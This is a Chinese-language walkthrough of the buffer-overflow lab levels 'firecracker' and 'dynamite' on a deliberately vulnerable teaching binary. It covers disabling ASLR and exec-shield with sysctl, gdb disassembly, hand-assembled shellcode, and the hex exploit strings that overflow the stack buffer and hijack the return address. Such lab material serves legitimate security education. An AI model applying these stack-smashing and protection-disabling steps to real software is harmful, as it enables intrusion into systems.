Level 2: firecracker(30分)
bufbomb中存在一个bang函数,
int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value); exit(0); }
与前面两关类似,要求调用getbuf后返回到bang,并设置全局变量global_value为自己的cookie.
从这一关开始,需要在堆栈的buf中布置可执行的shellcode,经过实验,发现自己机器中Ubuntu 12.04.5的堆栈区不可执行(May sombody tell me?),由于没有找到关闭的方法,在虚拟机中安装Fedora 7,按如下方式关闭堆栈不可执行和随机化,继续进行实验。
sysctl –w kernel.randomize_va_space=0
sysctl –w kernel.exec-shield=0
在gdb中反汇编bang,获得存储全局变量global_value的地址为0x804aa60,bang函数的入口地址为0x804898c
[root@localhost buflab]# gdb -q ./bufbomb Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disass bang Dump of assembler code for function bang: 0x0804898c: mov 0x804aa60,%eax ;将global_value赋给%eax 0x08048991 : push %ebp 0x08048992 : mov %esp,%ebp 0x08048994 : sub $0x8,%esp 0x08048997 : cmp 0x804aa50,%eax ; 比较cookie与global_value 0x0804899d : jne 0x80489c0 0x0804899f : add $0xfffffff8,%esp 0x080489a2 : push %eax 0x080489a3 : push $0x80493e0 0x080489a8 : call 0x8048748 0x080489ad : add $0xfffffff4,%esp 0x080489b0 : push $0x2 0x080489b2 : call 0x8048c30 0x080489b7 : add $0x20,%esp 0x080489ba : jmp 0x80489d1 0x080489bc : lea 0x0(%esi),%esi 0x080489c0 : add $0xfffffff8,%esp 0x080489c3 : push %eax 0x080489c4 : push $0x8049405 0x080489c9 : call 0x8048748 0x080489ce : add $0x10,%esp 0x080489d1 : add $0xfffffff4,%esp
接下来,需要在buf中布置设置全局变量和跳转到bang中的shellcode,并将ret设置成buf
在调试中获得buf
(gdb) disass getbuf Dump of assembler code for function getbuf: 0x08048a44: push %ebp 0x08048a45 : mov %esp,%ebp 0x08048a47 : sub $0x18,%esp 0x08048a4a : add $0xfffffff4,%esp 0x08048a4d : lea 0xfffffff4(%ebp),%eax ;buf=%ebp-12 0x08048a50 : push %eax 0x08048a51 : call 0x8048b50 0x08048a56 : mov $0x1,%eax 0x08048a5b : mov %ebp,%esp 0x08048a5d : pop %ebp 0x08048a5e : ret End of assembler dump.
在地址0x08048a50处设置断点并运行,得知buf为0xbfffb0bc
(gdb) b *0x8048a50 Breakpoint 1 at 0x8048a50 (gdb) run -t heen Starting program: /root/Desktop/buflab/bufbomb -t heen Team: heen Cookie: 0x5573b7cf (gdb) p $ebp+0xfffffff4 $2 = (void *) 0xbfffb0bc
接下来编写shellcode,
[root@localhost buflab]# cat exploit3_shellcode.s pushl $0x804898c ;bang入口地址 movl $0x5573b7cf, %eax movl %eax, 0x804aa60 ;设置cookie ret
[root@localhost buflab]# gcc -c exploit3_shellcode.s [root@localhost buflab]# objdump -d exploit3_shellcode.o exploit3_shellcode.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 68 8c 89 04 08 push $0x804898c 5: b8 cf b7 73 55 mov $0x5573b7cf,%eax a: a3 60 aa 04 08 mov %eax,0x804aa60 f: c3 ret
最终获得shellcode的16进制机器码,为16字节,刚好够用。于是exploit string为shellcode加上buf
[root@localhost buflab]# cat exploit3.txt 68 8c 89 04 08 b8 cf b7 73 55 a3 60 aa 04 08 c3 bc b0 ff bf [root@localhost buflab]# cat exploit3.txt|./sendstring|./bufbomb -t heen Team: heen Cookie: 0x5573b7cf Type string:Bang!: You set global_value to 0x5573b7cf NICE JOB!
Level 3: Dynamite (40分)
这一关要求getbuf返回到test当中,但是不能破坏为test函数维护的堆栈状态(test函数加了堆栈状态检测),同时加test函数中的调用getbuf后的返回值为自己的cookie。test函数如下,
void test() { int val; volatile int local = 0xdeadbeef; val = getbuf(); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned 0x%x\n", val); } }
这要求我们的shellcode不能破坏getbuf调用函数test的堆栈状态,既需要返回到test中,也需要恢复SFP即test的栈基址EBP,而恢复栈基址有两种方法:一是在shellcode中设置,二是在exploit string中的合适位置填入SFP,这里我们选择了第二种方法。
反汇编test函数,获得getbuf调用的正常返回地址。
(gdb) disass test Dump of assembler code for function test: 0x080489dc: push %ebp 0x080489dd : mov %esp,%ebp 0x080489df : sub $0x18,%esp 0x080489e2 : movl $0xdeadbeef,0xfffffffc(%ebp) 0x080489e9 : call 0x8048a44 0x080489ee : mov %eax,%edx ;0x080489ee为getbuf返回地址 0x080489f0 : mov 0xfffffffc(%ebp),%eax 0x080489f3 : cmp $0xdeadbeef,%eax 0x080489f8 : je 0x8048a10 0x080489fa : add $0xfffffff4,%esp 0x080489fd : push $0x8049440 0x08048a02 : call 0x8048748 0x08048a07 : jmp 0x8048a40 0x08048a09 : lea 0x0(%esi),%esi 0x08048a10 : cmp 0x804aa50,%edx 0x08048a16 : jne 0x8048a32 0x08048a18 : add $0xfffffff8,%esp 0x08048a1b : push %edx 0x08048a1c : push $0x804946a 0x08048a21 : call 0x8048748 0x08048a26 : add $0xfffffff4,%esp 0x08048a29 : push $0x3 ---Type to continue, or q to quit---
在0x80489df中下断点,获得其栈基址的值为0xbfffb0e8
(gdb) b *0x80489df Breakpoint 2 at 0x80489df (gdb) run -t heen The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/Desktop/buflab/bufbomb -t heen Team: heen Cookie: 0x5573b7cf Breakpoint 2, 0x080489df in test () (gdb) p $ebp $3 = (void *) 0xbfffb0e8
编写shellcode,获得其16进制的机器码
[root@localhost buflab]# cat exploit4_shellcode.s movl $0x5573b7cf, %eax push $0x80489ee ret [root@localhost buflab]# gcc -c exploit4_shellcode.s [root@localhost buflab]# objdump -d exploit4_shellcode.o exploit4_shellcode.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: b8 cf b7 73 55 mov $0x5573b7cf,%eax ;设置getbuf返回值为cookie 5: 68 ee 89 04 08 push $0x80489ee ;将getbuf返回地址压栈 a: c3 ret
综合前面的信息,得到exploit string, 其中字节ff可为任意字节(除了回车符0a和空字符00)
[root@localhost buflab]# cat exploit4.txt b8 cf b7 73 55 68 ee 89 04 08 c3 ff e8 b0 ff bf bc b0 ff bf
[root@localhost buflab]# cat exploit4.txt|./sendstring|./bufbomb -t heen Team: heen Cookie: 0x5573b7cf Type string:Boom!: getbuf returned 0x5573b7cf NICE JOB!